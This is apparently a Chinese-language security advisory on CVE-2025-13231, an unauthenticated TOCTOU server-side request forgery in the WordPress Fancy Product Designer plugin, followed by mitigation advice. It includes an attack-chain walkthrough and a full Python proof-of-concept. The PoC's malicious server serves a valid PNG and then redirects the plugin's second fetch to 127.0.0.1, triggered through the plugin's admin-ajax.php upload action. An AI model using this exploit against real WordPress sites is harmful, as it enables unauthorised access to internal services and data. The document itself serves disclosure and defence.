CVE-2025-13231 WordPress Fancy Product Designer SSRF漏洞

漏洞信息

漏洞编号

CVE-2025-13231

漏洞类型

服务器端请求伪造(SSRF)

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Fancy Product Designer plugin for WordPress

漏洞概述

CVE-2025-13231是WordPress Fancy Product Designer插件中的一个中等严重性服务器端请求伪造(SSRF)漏洞。该漏洞存在于所有6.4.8及以下版本中，由于fpd_custom_uplod_file AJAX动作中的'url'参数存在时间检查和时间使用(TOCTOU)竞争条件而导致的。漏洞的核心问题在于插件首先使用getimagesize()函数验证URL，然后在后续操作中使用file_get_contents()获取相同URL内容。这种验证和获取分离的设计创造了可被利用的时间窗口，使未经身份验证的远程攻击者能够通过精心设计的攻击服务器，在验证阶段提供有效的图像响应，而在实际获取阶段重定向到任意内部或外部URL。此漏洞可能被用于扫描内网端口、访问内部服务、读取本地文件或对其他系统发起攻击，对受影响系统的安全性构成实质性威胁。

技术细节

该漏洞的根本原因在于Fancy Product Designer插件的fpd_custom_uplod_file AJAX动作中实现了不安全的URL验证逻辑。插件采用了两阶段处理方式：第一阶段调用PHP的getimagesize()函数对用户提供的URL进行验证，期望获取有效的图像元数据；第二阶段使用file_get_contents()函数实际获取URL对应的内容。问题在于这两个操作之间存在时间差，攻击者可以控制中间响应。具体来说，攻击者部署一个恶意的HTTP服务器，当插件首次请求时返回符合图像格式的有效响应以通过getimagesize()验证，但在后续的file_get_contents()请求时返回HTTP 302重定向到攻击者选择的任意URL。由于插件代码未对重定向进行限制，最终获取的内容可能来自攻击者指定的目标地址。这种TOCTOU竞争条件使得攻击者能够绕过URL白名单或黑名单验证机制，执行未授权的服务器端请求。攻击者常利用此漏洞进行内网扫描、访问内部数据库连接字符串、读取metadata端点或对内部服务发起二次攻击。

攻击链分析

STEP 1

步骤1

攻击者部署恶意HTTP服务器，配置为首次响应返回有效PNG图像数据，后续请求返回302重定向到目标内部地址

STEP 2

步骤2

攻击者向WordPress站点的/wp-admin/admin-ajax.php发送携带fpd_custom_uplod_file动作和url参数的POST请求，url指向恶意服务器

STEP 3

步骤3

插件首次调用getimagesize()访问恶意服务器，服务器返回有效图像数据，通过图像验证检查

STEP 4

步骤4

插件后续调用file_get_contents()再次访问同一URL，此时服务器返回302重定向到内部目标地址如127.0.0.1

STEP 5

步骤5

插件跟随重定向获取内部资源内容，由于未限制重定向目标，攻击者成功读取内网配置、扫描端口或访问受保护端点

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import http.server
import socketserver
import threading
import time
import requests

# Attacker-controlled server that exploits TOCTOU race condition
class TOCTOUHandler(http.server.BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass  # Suppress server logs
    
    def do_GET(self):
        # First request: Return valid image to bypass getimagesize()
        if not hasattr(self.server, 'request_count'):
            self.server.request_count = 0
        self.server.request_count += 1
        
        if self.server.request_count == 1:
            # Return valid PNG image header (8x8 transparent pixel)
            png_data = b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x08\x00\x00\x00\x08\x08\x02\x00\x00\x00\xef\x0b\x89\x6d\x00\x00\x00\x0cIDATx\x9cc\xf8\x0f\x00\x00\x01\x01\x00\x05\x18\xd8N\x00\x00\x00\x00IEND\xaeB`\x82'
            self.send_response(200)
            self.send_header('Content-Type', 'image/png')
            self.send_header('Content-Length', len(png_data))
            self.end_headers()
            self.wfile.write(png_data)
        else:
            # Subsequent requests: Redirect to internal target
            redirect_url = 'http://127.0.0.1:80/admin/config.php'
            self.send_response(302)
            self.send_header('Location', redirect_url)
            self.end_headers()

def start_attack_server(port=8888):
    with socketserver.TCPServer(('', port), TOCTOUHandler) as httpd:
        httpd.handle_request()  # Handle first request
        httpd.handle_request()  # Handle second request

def exploit_ssrf(target_url, attacker_server):
    # Start malicious server in background thread
    server_thread = threading.Thread(target=start_attack_server, daemon=True)
    server_thread.start()
    time.sleep(0.1)  # Ensure server is ready
    
    # Trigger SSRF via vulnerable AJAX endpoint
    vuln_endpoint = f'{target_url}/wp-admin/admin-ajax.php'
    payload = {
        'action': 'fpd_custom_uplod_file',
        'url': f'http://{attacker_server}/image.png'
    }
    
    try:
        response = requests.post(vuln_endpoint, data=payload, timeout=10)
        print(f'Status: {response.status_code}')
        print(f'Response: {response.text[:500]}')
        return response
    except Exception as e:
        print(f'Error: {e}')
        return None

if __name__ == '__main__':
    # Configuration
    TARGET = 'http://vulnerable-site.com'
    ATTACKER = 'attacker.com:8888'
    
    print('[*] CVE-2025-13231 TOCTOU SSRF Exploit')
    print(f'[*] Target: {TARGET}')
    print(f'[*] Attacker Server: {ATTACKER}')
    exploit_ssrf(TARGET, ATTACKER)

影响范围

Fancy Product Designer plugin for WordPress <= 6.4.8

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1)限制服务器对外发起HTTP请求的能力，使用防火墙规则控制出站流量；2)对wp-admin/admin-ajax.php端点实施速率限制和访问监控；3)使用ModSecurity等WAF规则阻止包含可疑URL参数的请求；4)考虑暂时禁用Fancy Product Designer插件或替换为其他产品；5)实施网络隔离，确保Web服务器无法直接访问内网敏感服务；6)监控日志关注异常的AJAX请求模式。